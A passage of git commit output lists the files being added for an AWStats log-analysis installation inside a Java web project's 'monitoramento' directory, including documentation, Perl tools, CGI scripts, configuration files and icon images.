src/main/webapp/monitoramento/docs/awstats_dev_plugins.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_dev_plugins_graphs.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_dev_plugins_hooks.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_dolibarr.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_extra.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_faq.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_glossary.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_license.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_security.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_setup.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_tools.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_upgrade.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_webmin.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_what.html create mode 100644 src/main/webapp/monitoramento/docs/images/awstats.gif create mode 100644 src/main/webapp/monitoramento/docs/images/awstats.ico create mode 100644 src/main/webapp/monitoramento/docs/images/awstats.png create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo1.gif create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo1.png create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo2.gif create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo2.png create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo3.gif create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo3.png create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo4.gif create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo4.png create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo5.gif create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo5.png create mode 100644 src/main/webapp/monitoramento/docs/images/awstats_logo6.png create mode 100644 src/main/webapp/monitoramento/docs/images/license_chart.png create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_1.gif create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_1.jpg create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_1.png create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_2.png create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_3.png create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_4.png create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_5.png create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_large_1.jpg create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_large_2.jpg create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_large_3.jpg create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_large_4.jpg create mode 100644 src/main/webapp/monitoramento/docs/images/screen_shot_large_5.jpg create mode 100644 src/main/webapp/monitoramento/docs/images/star.png create mode 100644 src/main/webapp/monitoramento/docs/index.html create mode 100644 src/main/webapp/monitoramento/docs/pad_awstats.xml create mode 100644 src/main/webapp/monitoramento/docs/scripts/lang-apollo.js create mode 100644 src/main/webapp/monitoramento/docs/scripts/lang-css.js create mode 100644 src/main/webapp/monitoramento/docs/scripts/lang-hs.js create mode 100644 src/main/webapp/monitoramento/docs/scripts/lang-lisp.js create mode 100644 src/main/webapp/monitoramento/docs/scripts/lang-lua.js create mode 100644 src/main/webapp/monitoramento/docs/scripts/lang-ml.js create mode 100644 src/main/webapp/monitoramento/docs/scripts/lang-proto.js create mode 100644 src/main/webapp/monitoramento/docs/scripts/lang-sql.js create mode 100644 src/main/webapp/monitoramento/docs/scripts/lang-vb.js create mode 100644 src/main/webapp/monitoramento/docs/scripts/lang-wiki.js create mode 100644 src/main/webapp/monitoramento/docs/scripts/prettify.css create mode 100644 src/main/webapp/monitoramento/docs/scripts/prettify.js create mode 100644 src/main/webapp/monitoramento/docs/styles.css create mode 100755 src/main/webapp/monitoramento/tools/awstats_buildstaticpages.pl create mode 100644 src/main/webapp/monitoramento/tools/awstats_configure.pl create mode 100644 src/main/webapp/monitoramento/tools/awstats_exportlib.pl create mode 100644 src/main/webapp/monitoramento/tools/awstats_updateall.pl create mode 100644 src/main/webapp/monitoramento/tools/geoip_generator.pl create mode 100644 src/main/webapp/monitoramento/tools/httpd_conf create mode 100755 src/main/webapp/monitoramento/tools/logresolvemerge.pl create mode 100644 src/main/webapp/monitoramento/tools/maillogconvert.pl create mode 100644 src/main/webapp/monitoramento/tools/nginx/README.txt create mode 100644 src/main/webapp/monitoramento/tools/nginx/awstats-fcgi.php create mode 100644 src/main/webapp/monitoramento/tools/nginx/awstats-nginx.conf create mode 100644 src/main/webapp/monitoramento/tools/urlaliasbuilder.pl create mode 100644 src/main/webapp/monitoramento/tools/webmin/awstats-1.9.wbm create mode 100644 src/main/webapp/monitoramento/tools/xslt/README.txt create mode 100644 src/main/webapp/monitoramento/tools/xslt/awstats.datademo1.xml create mode 100644 src/main/webapp/monitoramento/tools/xslt/awstats.datademo1.xslt create mode 100644 src/main/webapp/monitoramento/tools/xslt/awstats.datademo2.xml create mode 100644 src/main/webapp/monitoramento/tools/xslt/awstats.datademo2.xslt create mode 100644 src/main/webapp/monitoramento/tools/xslt/awstats.xsd create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/awdownloadcsv.pl create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/awredir.pl create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.extra.conf create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.model.conf create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.observatorio.conf create mode 100755 src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.pl create mode 100755 src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.sh create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/data/awstats062014.extra.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/data/awstats062014.observatorio.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/errors.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/extra.out create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/filter.sh create mode 100755 src/main/webapp/monitoramento/wwwroot/cgi-bin/generate.sh create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/abilon.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/adobe.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/akregator.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/alcatel.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/amaya.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/amigavoyager.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/analogx.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/android.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/apt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/avant.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/aweb.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/bpftp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/bytel.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/chimera.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/chrome.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/cyberdog.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/da.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/dillo.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/doris.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/dreamcast.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ecatch.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/encompass.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/epiphany.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ericsson.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/feeddemon.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/feedreader.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/firefox.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/flashget.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/flock.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/fpexpress.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/fresco.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/freshdownload.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/frontpage.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/galeon.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/getright.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/gnome.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/gnus.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/gozilla.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/hotjava.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/httrack.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ibrowse.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/icab.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/icecat.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/iceweasel.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/java.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/jetbrains_omea.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/kmeleon.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/konqueror.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/leechget.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/lg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/lotusnotes.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/lynx.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/macweb.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/mediaplayer.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/motorola.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/mozilla.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/mplayer.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/msie.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/msie_large.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/multizilla.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ncsa_mosaic.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/neon.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netnewswire.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netpositive.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netscape.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netscape_large.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/netshow.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/newsfire.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/newsgator.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/newzcrawler.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/nokia.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/notavailable.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/omniweb.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/opera.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/panasonic.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/pdaphone.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/philips.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/phoenix.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/pluck.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/pulpfiction.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/real.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rss.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssbandit.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssowl.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssreader.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssxpress.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/safari.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sagem.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/samsung.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/seamonkey.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sharp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sharpreader.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/shrook.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/siemens.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sony.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/staroffice.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/subversion.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/teleport.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/trium.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/unknown.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/w3c.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webcopier.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webreaper.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webtv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webzip.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/winxbox.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/wizz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr1.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr10.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr11.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr12.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr2.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr3.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr4.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr5.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr6.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr7.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr8.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/clock/hr9.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/digital.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/hp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/ibm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/intel.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/java.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/mips.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/motorola.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/sun.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/cpu/unknown.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/a2.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ac.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ad.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ae.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/aero.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/af.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ag.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ai.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/al.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/am.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/an.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ao.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/aq.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ar.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/arpa.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/as.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/at.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/au.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/aw.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ax.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/az.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ba.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bb.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/be.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bf.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bh.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bi.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/biz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bj.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bn.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bo.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/br.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bs.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bw.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/by.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ca.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cc.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cf.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ch.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ci.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ck.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cl.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cn.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/co.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/com.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/coop.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cs.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cx.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cy.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/de.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dj.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/do.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ec.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/edu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ee.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/eg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/eh.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/en.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/er.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/es.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/es_cat.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/es_eu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/et.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/eu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fi.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fj.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fo.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fx.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ga.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gb.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ge.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gf.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gh.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gi.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gl.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/glg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gn.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gov.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gq.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gs.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gw.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gy.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hn.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ht.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/hu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/i0.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/id.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ie.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/il.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/im.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/in.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/info.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/int.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/io.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ip.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/iq.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ir.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/is.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/it.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/jm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/jo.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/jp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ke.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kh.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ki.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/km.png create mode 100644 